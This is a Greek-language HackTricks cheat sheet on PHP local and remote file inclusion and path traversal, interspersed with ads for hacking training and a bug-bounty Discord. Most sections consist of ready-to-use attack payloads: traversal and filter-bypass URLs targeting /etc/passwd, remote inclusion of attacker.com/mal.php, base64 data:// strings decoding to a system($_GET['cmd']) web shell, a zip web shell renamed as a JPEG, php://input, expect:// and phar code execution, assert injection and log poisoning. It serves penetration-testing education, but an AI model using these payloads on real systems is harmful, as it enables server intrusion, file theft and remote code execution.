File Inclusion/Path traversal

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

File Inclusion

Remote File Inclusion (RFI): Το αρχείο φορτώνεται από έναν απομακρυσμένο διακομιστή (Καλύτερα: Μπορείτε να γράψετε τον κώδικα και ο διακομιστής θα τον εκτελέσει). Στο php αυτό είναι απενεργοποιημένο από προεπιλογή (allow_url_include). Local File Inclusion (LFI): Ο διακομιστής φορτώνει ένα τοπικό αρχείο.

Η ευπάθεια συμβαίνει όταν ο χρήστης μπορεί να ελέγξει με κάποιον τρόπο το αρχείο που πρόκειται να φορτωθεί από τον διακομιστή.

Ευάλωτες PHP συναρτήσεις: require, require_once, include, include_once

Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Συνδυάζοντας αρκετές λίστες LFI από *nix και προσθέτοντας περισσότερες διαδρομές, δημιούργησα αυτήν:

Δοκιμάστε επίσης να αλλάξετε το / με \ Δοκιμάστε επίσης να προσθέσετε ../../../../../

Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί εδώ

Windows

Συγχώνευση διαφορετικών λιστών:

Δοκιμάστε επίσης να αλλάξετε το / με \ Δοκιμάστε επίσης να αφαιρέσετε το C:/ και να προσθέσετε ../../../../../

Μια λίστα που χρησιμοποιεί αρκετές τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξει αν υπάρχει η ευπάθεια) μπορεί να βρεθεί εδώ

OS X

Ελέγξτε τη λίστα LFI του linux.

Basic LFI and bypasses

Όλα τα παραδείγματα είναι για Local File Inclusion αλλά θα μπορούσαν να εφαρμοστούν και σε Remote File Inclusion (σελίδα=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

ακολουθίες διαδρομής χωρίς αναδρομή

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Παράκαμψη της προσθήκης περισσότερων χαρακτήρων στο τέλος της παρεχόμενης συμβολοσειράς (παράκαμψη του: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Αυτό έχει λυθεί από το PHP 5.4

Κωδικοποίηση

Μπορείτε να χρησιμοποιήσετε μη τυπικές κωδικοποιήσεις όπως η διπλή κωδικοποίηση URL (και άλλες):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Από υπάρχον φάκελο

Ίσως το back-end να ελέγχει τη διαδρομή του φακέλου:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Εξερεύνηση Καταλόγων Συστήματος Αρχείων σε έναν Διακομιστή

Το σύστημα αρχείων ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν κατάλογοι, όχι μόνο αρχεία, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του καταλόγου και την αναζήτηση για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω παρατίθεται μια λεπτομερής μέθοδος για να το επιτύχετε αυτό:

  1. Προσδιορίστε το Βάθος του Καταλόγου: Προσδιορίστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας επιτυχώς το αρχείο /etc/passwd (ισχύει αν ο διακομιστής είναι βασισμένος σε Linux). Ένα παράδειγμα URL μπορεί να έχει την εξής δομή, υποδεικνύοντας βάθος τριών:

http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Δοκιμή για Φακέλους: Προσθέστε το όνομα του υποψήφιου φακέλου (π.χ., private) στο URL, στη συνέχεια πλοηγηθείτε πίσω στο /etc/passwd. Το επιπλέον επίπεδο καταλόγου απαιτεί την αύξηση του βάθους κατά ένα:

http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Ερμηνεία των Αποτελεσμάτων: Η απάντηση του διακομιστή υποδεικνύει αν ο φάκελος υπάρχει:

  • Σφάλμα / Χωρίς Έξοδο: Ο φάκελος private πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.

  • Περιεχόμενα του /etc/passwd: Η παρουσία του φακέλου private επιβεβαιώνεται.

  1. Αναδρομική Εξερεύνηση: Οι ανακαλυφθέντες φάκελοι μπορούν να εξερευνηθούν περαιτέρω για υποφακέλους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI).

Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το payload αναλόγως. Για παράδειγμα, για να ελέγξετε αν το /var/www/ περιέχει έναν φάκελο private (υποθέτοντας ότι ο τρέχων φάκελος είναι σε βάθος 3), χρησιμοποιήστε:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Τεχνική Τραβήγματος Διαδρομής

Το τραβήγματος διαδρομής είναι μια μέθοδος που χρησιμοποιείται για να χειριστεί τις διαδρομές αρχείων σε διαδικτυακές εφαρμογές. Συχνά χρησιμοποιείται για να αποκτήσει πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να δημιουργηθεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, να δείχνει ακόμα στο επιθυμητό αρχείο.

Στην PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:

  • /etc/passwd, /etc//passwd, /etc/./passwd, και /etc/passwd/ θεωρούνται όλες ως η ίδια διαδρομή.

  • Όταν οι τελευταίοι 6 χαρακτήρες είναι passwd, η προσθήκη ενός / (κάνοντάς το passwd/) δεν αλλάζει το στοχευόμενο αρχείο.

  • Ομοίως, αν προστεθεί .php σε μια διαδρομή αρχείου (όπως shellcode.php), η προσθήκη ενός /. στο τέλος δεν θα αλλάξει το αρχείο που προσπελάζεται.

Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιήσετε το τραβήγματος διαδρομής για να αποκτήσετε πρόσβαση στο /etc/passwd, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμού χρήστη):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Σε αυτά τα σενάρια, ο αριθμός των διασχίσεων που απαιτούνται μπορεί να είναι γύρω στο 2027, αλλά αυτός ο αριθμός μπορεί να διαφέρει ανάλογα με τη διαμόρφωση του διακομιστή.

  • Χρησιμοποιώντας Τμήματα Τελείας και Πρόσθετους Χαρακτήρες: Οι ακολουθίες διασχίσεων (../) σε συνδυασμό με επιπλέον τμήματα τελείας και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο σύστημα αρχείων, αγνοώντας αποτελεσματικά τις προσαρτημένες συμβολοσειρές από τον διακομιστή.

  • Καθορισμός του Απαιτούμενου Αριθμού Διασχίσεων: Μέσω δοκιμών και λαθών, μπορεί κανείς να βρει τον ακριβή αριθμό των ακολουθιών ../ που απαιτούνται για να πλοηγηθεί στην ριζική καταχώρηση και στη συνέχεια στο /etc/passwd, διασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως .php) εξουδετερώνονται αλλά η επιθυμητή διαδρομή (/etc/passwd) παραμένει ανέπαφη.

  • Ξεκινώντας με έναν Ψεύτικο Κατάλογο: Είναι κοινή πρακτική να ξεκινά η διαδρομή με έναν ανύπαρκτο κατάλογο (όπως a/). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να εκπληρώσει τις απαιτήσεις της λογικής ανάλυσης διαδρομής του διακομιστή.

Όταν χρησιμοποιούνται τεχνικές περικοπής διαδρομής, είναι κρίσιμο να κατανοηθεί η συμπεριφορά ανάλυσης διαδρομής του διακομιστή και η δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και οι δοκιμές είναι συχνά απαραίτητες για να βρεθεί η πιο αποτελεσματική μέθοδος.

Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.

Τεχνάσματα παράκαμψης φίλτρων

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

Στο php αυτό είναι απενεργοποιημένο από προεπιλογή γιατί allow_url_include είναι Απενεργοποιημένο. Πρέπει να είναι Ενεργοποιημένο για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα αρχείο PHP από τον διακομιστή σας και να αποκτήσετε RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Αν για κάποιο λόγο allow_url_include είναι On, αλλά το PHP φιλτράρει την πρόσβαση σε εξωτερικές ιστοσελίδες, σύμφωνα με αυτή την ανάρτηση, θα μπορούσατε να χρησιμοποιήσετε για παράδειγμα το πρωτόκολλο δεδομένων με base64 για να αποκωδικοποιήσετε έναν κωδικό PHP b64 και να αποκτήσετε RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Στον προηγούμενο κώδικα, το τελικό +.txt προστέθηκε επειδή ο επιτιθέμενος χρειαζόταν μια συμβολοσειρά που να τελειώνει σε .txt, έτσι ώστε η συμβολοσειρά να τελειώνει με αυτό και μετά την αποκωδικοποίηση b64, αυτό το μέρος θα επιστρέψει απλώς σκουπίδια και ο πραγματικός κώδικας PHP θα συμπεριληφθεί (και επομένως, θα εκτελεστεί).

Ένα άλλο παράδειγμα χωρίς τη χρήση του πρωτοκόλλου php:// θα ήταν:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Root στοιχείο

Στην python σε έναν κώδικα όπως αυτός:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Αν ο χρήστης περάσει μια απόλυτη διαδρομή στο file_name, η προηγούμενη διαδρομή απλώς αφαιρείται:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Είναι η προορισμένη συμπεριφορά σύμφωνα με την τεκμηρίωση:

Αν ένα συστατικό είναι απόλυτη διαδρομή, όλα τα προηγούμενα συστατικά απορρίπτονται και η ένωση συνεχίζεται από το συστατικό της απόλυτης διαδρομής.

Java Λίστα Καταλόγων

Φαίνεται ότι αν έχετε Path Traversal σε Java και ζητήσετε έναν κατάλογο αντί για ένα αρχείο, επιστρέφεται μια λίστα του καταλόγου. Αυτό δεν θα συμβαίνει σε άλλες γλώσσες (όσο γνωρίζω).

Κορυφαίοι 25 παράμετροι

Ακολουθεί λίστα με τους κορυφαίους 25 παράμετρους που θα μπορούσαν να είναι ευάλωτοι σε τοπικές ευπάθειες συμπερίληψης αρχείων (LFI) (από σύνδεσμο):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI χρησιμοποιώντας PHP wrappers & πρωτόκολλα

php://filter

Οι φίλτροι PHP επιτρέπουν την εκτέλεση βασικών λειτουργιών τροποποίησης στα δεδομένα πριν διαβαστούν ή γραφούν. Υπάρχουν 5 κατηγορίες φίλτρων:

  • string.rot13

  • string.toupper

  • string.tolower

  • string.strip_tags: Αφαιρεί τις ετικέτες από τα δεδομένα (όλα όσα βρίσκονται μεταξύ των χαρακτήρων "<" και ">")

  • Σημειώστε ότι αυτό το φίλτρο έχει εξαφανιστεί από τις σύγχρονες εκδόσεις του PHP

  • convert.base64-encode

  • convert.base64-decode

  • convert.quoted-printable-encode

  • convert.quoted-printable-decode

  • convert.iconv.* : Μετατρέπει σε διαφορετική κωδικοποίηση(convert.iconv.<input_enc>.<output_enc>). Για να αποκτήσετε τη λίστα όλων των κωδικοποιήσεων που υποστηρίζονται, εκτελέστε στην κονσόλα: iconv -l

Καταχρώντας το φίλτρο μετατροπής convert.iconv.* μπορείτε να δημιουργήσετε αυθαίρετο κείμενο, το οποίο θα μπορούσε να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή να κάνετε μια λειτουργία όπως η συμπερίληψη αυθαίρετου κειμένου. Για περισσότερες πληροφορίες, ελέγξτε LFI2RCE μέσω φίλτρων php.

  • zlib.deflate: Συμπιέζει το περιεχόμενο (χρήσιμο αν εξάγετε πολλές πληροφορίες)

  • zlib.inflate: Αποσυμπιέζει τα δεδομένα

  • mcrypt.* : Καταργημένο

  • mdecrypt.* : Καταργημένο

  • Άλλοι Φίλτροι

  • Εκτελώντας στο php var_dump(stream_get_filters()); μπορείτε να βρείτε μερικούς αναπάντεχους φίλτρους:

  • consumed

  • dechunk: αναστρέφει την κωδικοποίηση HTTP chunked

  • convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Το μέρος "php://filter" είναι ευαίσθητο σε πεζά και κεφαλαία

Χρησιμοποιώντας φίλτρα php ως oracle για να διαβάσετε αυθαίρετα αρχεία

Σε αυτή την ανάρτηση προτείνεται μια τεχνική για να διαβάσετε ένα τοπικό αρχείο χωρίς να έχετε την έξοδο που επιστρέφεται από τον διακομιστή. Αυτή η τεχνική βασίζεται σε μια boolean εξαγωγή του αρχείου (χαρακτήρα προς χαρακτήρα) χρησιμοποιώντας φίλτρα php ως oracle. Αυτό συμβαίνει επειδή τα φίλτρα php μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε να προκαλέσει μια εξαίρεση από το php.

Στην αρχική ανάρτηση μπορείτε να βρείτε μια λεπτομερή εξήγηση της τεχνικής, αλλά εδώ είναι μια γρήγορη περίληψη:

  • Χρησιμοποιήστε τον κωδικοποιητή UCS-4LE για να αφήσετε τον αρχικό χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά.

  • Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα κείμενο τόσο μεγάλο όταν η αρχική γράμμα μαντεύεται σωστά ώστε το php να προκαλέσει ένα σφάλμα.

  • Το φίλτρο dechunk θα αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι εξαγωνικός, οπότε μπορούμε να ξέρουμε αν ο πρώτος χαρακτήρας είναι εξαγωνικός.

  • Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετατροπές ώστε να μην είναι εξαγωνικός χαρακτήρας. Επειδή αν είναι εξαγωνικός, το dechunk δεν θα το διαγράψει και η αρχική βόμβα θα προκαλέσει σφάλμα στο php.

  • Ο κωδικοποιητής convert.iconv.UNICODE.CP930 μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι a για παράδειγμα, επειδή αν εφαρμόσουμε 6 από αυτόν τον κωδικοποιητή a->b->c->d->e->f->g το γράμμα δεν είναι πια εξαγωνικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα php ενεργοποιείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.

  • Χρησιμοποιώντας άλλες μετατροπές όπως rot13 στην αρχή είναι δυνατόν να διαρρεύσουν άλλοι χαρακτήρες όπως n, o, p, q, r (και άλλοι κωδικοποιητές μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στην περιοχή των εξαγωνικών).

  • Όταν ο αρχικός χαρακτήρας είναι αριθμός, χρειάζεται να τον κωδικοποιήσουμε σε base64 και να διαρρεύσουμε τα 2 πρώτα γράμματα για να διαρρεύσουμε τον αριθμό.

  • Το τελικό πρόβλημα είναι να δούμε πώς να διαρρεύσουμε περισσότερα από το αρχικό γράμμα. Χρησιμοποιώντας φίλτρα μνήμης σειράς όπως convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE είναι δυνατόν να αλλάξουμε τη σειρά των χαρακτήρων και να αποκτήσουμε στην πρώτη θέση άλλα γράμματα του κειμένου.

  • Και προκειμένου να μπορέσουμε να αποκτήσουμε περισσότερα δεδομένα η ιδέα είναι να παράγουμε 2 bytes σκουπιδιών στην αρχή με convert.iconv.UTF16.UTF16, να εφαρμόσουμε UCS-4LE για να το στραφεί με τα επόμενα 2 bytes, και να διαγράψουμε τα δεδομένα μέχρι τα σκουπίδια (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε να το κάνετε αυτό μέχρι να φτάσετε στο επιθυμητό bit για διαρροή.

Στην ανάρτηση διαρρεύθηκε επίσης ένα εργαλείο για να το εκτελεί αυτό αυτόματα: php_filters_chain_oracle_exploit.

php://fd

Αυτή η περιτύλιξη επιτρέπει την πρόσβαση σε περιγραφείς αρχείων που έχει ανοιχτούς η διαδικασία. Πιθανώς χρήσιμο για να εξάγετε το περιεχόμενο των ανοιχτών αρχείων:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Μπορείτε επίσης να χρησιμοποιήσετε php://stdin, php://stdout και php://stderr για να αποκτήσετε πρόσβαση στους file descriptors 0, 1 και 2 αντίστοιχα (δεν είμαι σίγουρος πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση)

zip:// και rar://

Ανεβάστε ένα αρχείο Zip ή Rar με ένα PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό. Για να μπορέσετε να εκμεταλλευτείτε το πρωτόκολλο rar, πρέπει να ενεργοποιηθεί συγκεκριμένα.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Σημειώστε ότι αυτό το πρωτόκολλο περιορίζεται από τις ρυθμίσεις php allow_url_open και allow_url_include

expect://

Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας αυτό:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Καθορίστε το payload σας στις παραμέτρους POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Ένα αρχείο .phar μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια διαδικτυακή εφαρμογή εκμεταλλεύεται συναρτήσεις όπως include για τη φόρτωση αρχείων. Το παρακάτω απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Για να συντάξετε το αρχείο .phar, θα πρέπει να εκτελέσετε την παρακάτω εντολή:

php --define phar.readonly=0 create_path.php

Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με το όνομα test.phar, το οποίο θα μπορούσε ενδεχομένως να χρησιμοποιηθεί για την εκμετάλλευση ευπαθειών Local File Inclusion (LFI).

Σε περιπτώσεις όπου το LFI εκτελεί μόνο ανάγνωση αρχείων χωρίς να εκτελεί τον PHP κώδικα μέσα σε αυτά, μέσω συναρτήσεων όπως file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ή filesize(), θα μπορούσε να επιχειρηθεί η εκμετάλλευση μιας ευπάθειας αποσυμπίεσης. Αυτή η ευπάθεια σχετίζεται με την ανάγνωση αρχείων χρησιμοποιώντας το πρωτόκολλο phar.

Για μια λεπτομερή κατανόηση της εκμετάλλευσης ευπαθειών αποσυμπίεσης στο πλαίσιο των αρχείων .phar, ανατρέξτε στο έγγραφο που συνδέεται παρακάτω:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Ήταν δυνατόν να καταχραστεί οποιοδήποτε αυθαίρετο αρχείο που διαβάζεται από PHP που υποστηρίζει φίλτρα php για να αποκτηθεί RCE. Η λεπτομερής περιγραφή μπορεί να βρεθεί σε αυτή την ανάρτηση. Πολύ γρήγορη περίληψη: μια υπερχείλιση 3 byte στο σωρό PHP καταχράστηκε για να αλλάξει την αλυσίδα των ελεύθερων κομματιών συγκεκριμένου μεγέθους προκειμένου να είναι δυνατή η γραφή οτιδήποτε σε οποιαδήποτε διεύθυνση, έτσι προστέθηκε ένα hook για να καλέσει system. Ήταν δυνατόν να κατανεμηθούν κομμάτια συγκεκριμένων μεγεθών καταχρώντας περισσότερα φίλτρα php.

Περισσότερα πρωτόκολλα

Ελέγξτε περισσότερα πιθανά πρωτόκολλα για να συμπεριληφθούν εδώ:

  • php://memory and php://temp — Γράψτε στη μνήμη ή σε ένα προσωρινό αρχείο (δεν είμαι σίγουρος πώς μπορεί αυτό να είναι χρήσιμο σε μια επίθεση συμπερίληψης αρχείων)

  • file:// — Πρόσβαση στο τοπικό σύστημα αρχείων

  • http:// — Πρόσβαση σε HTTP(s) URLs

  • ftp:// — Πρόσβαση σε FTP(s) URLs

  • zlib:// — Ρεύματα Συμπίεσης

  • glob:// — Βρείτε ονόματα διαδρομών που ταιριάζουν με το μοτίβο (Δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)

  • ssh2:// — Secure Shell 2

  • ogg:// — Ρεύματα ήχου (Δεν είναι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)

LFI μέσω της 'assert' του PHP

Οι κίνδυνοι Local File Inclusion (LFI) στο PHP είναι ιδιαίτερα υψηλοί όταν ασχολούνται με τη λειτουργία 'assert', η οποία μπορεί να εκτελεί κώδικα μέσα σε συμβολοσειρές. Αυτό είναι ιδιαίτερα προβληματικό αν η είσοδος που περιέχει χαρακτήρες διαδρομής καταλόγου όπως ".." ελέγχεται αλλά δεν καθαρίζεται σωστά.

Για παράδειγμα, ο κώδικας PHP μπορεί να έχει σχεδιαστεί για να αποτρέπει τη διαδρομή καταλόγου ως εξής:

assert("strpos('$file', '..') === false") or die("");

Ενώ αυτό στοχεύει να σταματήσει την περιήγηση, δημιουργεί ακούσια ένα διάνυσμα για την ένεση κώδικα. Για να εκμεταλλευτεί αυτό για την ανάγνωση περιεχομένων αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει:

' and die(highlight_file('/etc/passwd')) or '

Ομοίως, για την εκτέλεση αυθαίρετων εντολών συστήματος, μπορεί να χρησιμοποιηθεί:

' and die(system("id")) or '

Είναι σημαντικό να URL-κωδικοποιήσετε αυτά τα payloads.

Συμμετάσχετε στον HackenProof Discord server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!

Ενημερώσεις Χάκινγκ Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking

Νέα Χάκινγκ σε Πραγματικό Χρόνο Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο

Τελευταίες Ανακοινώσεις Μείνετε ενημερωμένοι με τις πιο πρόσφατες εκκινήσεις bug bounties και κρίσιμες ενημερώσεις πλατφορμών

Συμμετάσχετε μαζί μας στο Discord και ξεκινήστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!

PHP Blind Path Traversal

Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου ελέγχετε τη διαδρομή αρχείου μιας λειτουργίας PHP που θα πρόσβαση σε ένα αρχείο αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση στη file()) αλλά το περιεχόμενο δεν εμφανίζεται.

Στο αυτό το απίστευτο άρθρο εξηγείται πώς μπορεί να καταχραστεί μια τυφλή διαδρομή μέσω φίλτρου PHP για να εξάγει το περιεχόμενο ενός αρχείου μέσω ενός σφάλματος oracle.

Συνοπτικά, η τεχνική χρησιμοποιεί την κωδικοποίηση "UCS-4LE" για να κάνει το περιεχόμενο ενός αρχείου τόσο μεγάλο ώστε η λειτουργία PHP που ανοίγει το αρχείο να προκαλέσει ένα σφάλμα.

Στη συνέχεια, για να διαρρεύσει ο πρώτος χαρακτήρας, χρησιμοποιείται το φίλτρο dechunk μαζί με άλλα όπως base64 ή rot13 και τελικά τα φίλτρα convert.iconv.UCS-4.UCS-4LE και convert.iconv.UTF16.UTF-16BE χρησιμοποιούνται για να τοποθετήσουν άλλους χαρακτήρες στην αρχή και να τους διαρρεύσουν.

Λειτουργίες που μπορεί να είναι ευάλωτες: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (μόνο για ανάγνωση με αυτό), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Για τις τεχνικές λεπτομέρειες ελέγξτε το αναφερόμενο άρθρο!

LFI2RCE

Remote File Inclusion

Εξηγήθηκε προηγουμένως, ακολουθήστε αυτόν τον σύνδεσμο.

Μέσω αρχείου καταγραφής Apache/Nginx

Εάν ο server Apache ή Nginx είναι ευάλωτος σε LFI μέσα στη λειτουργία include, μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο /var/log/apache2/access.log ή /var/log/nginx/access.log, ορίζοντας μέσα στον user agent ή μέσα σε μια παράμετρο GET ένα php shell όπως <?php system($_GET['c']); ?> και να συμπεριλάβετε αυτό το αρχείο

Σημειώστε ότι αν χρησιμοποιήσετε διπλά εισαγωγικά για το shell αντί για απλά εισαγωγικά, τα διπλά εισαγωγικά θα τροποποιηθούν για τη συμβολοσειρά "quote;", η PHP θα ρίξει ένα σφάλμα εκεί και τίποτα άλλο δεν θα εκτελεστεί.

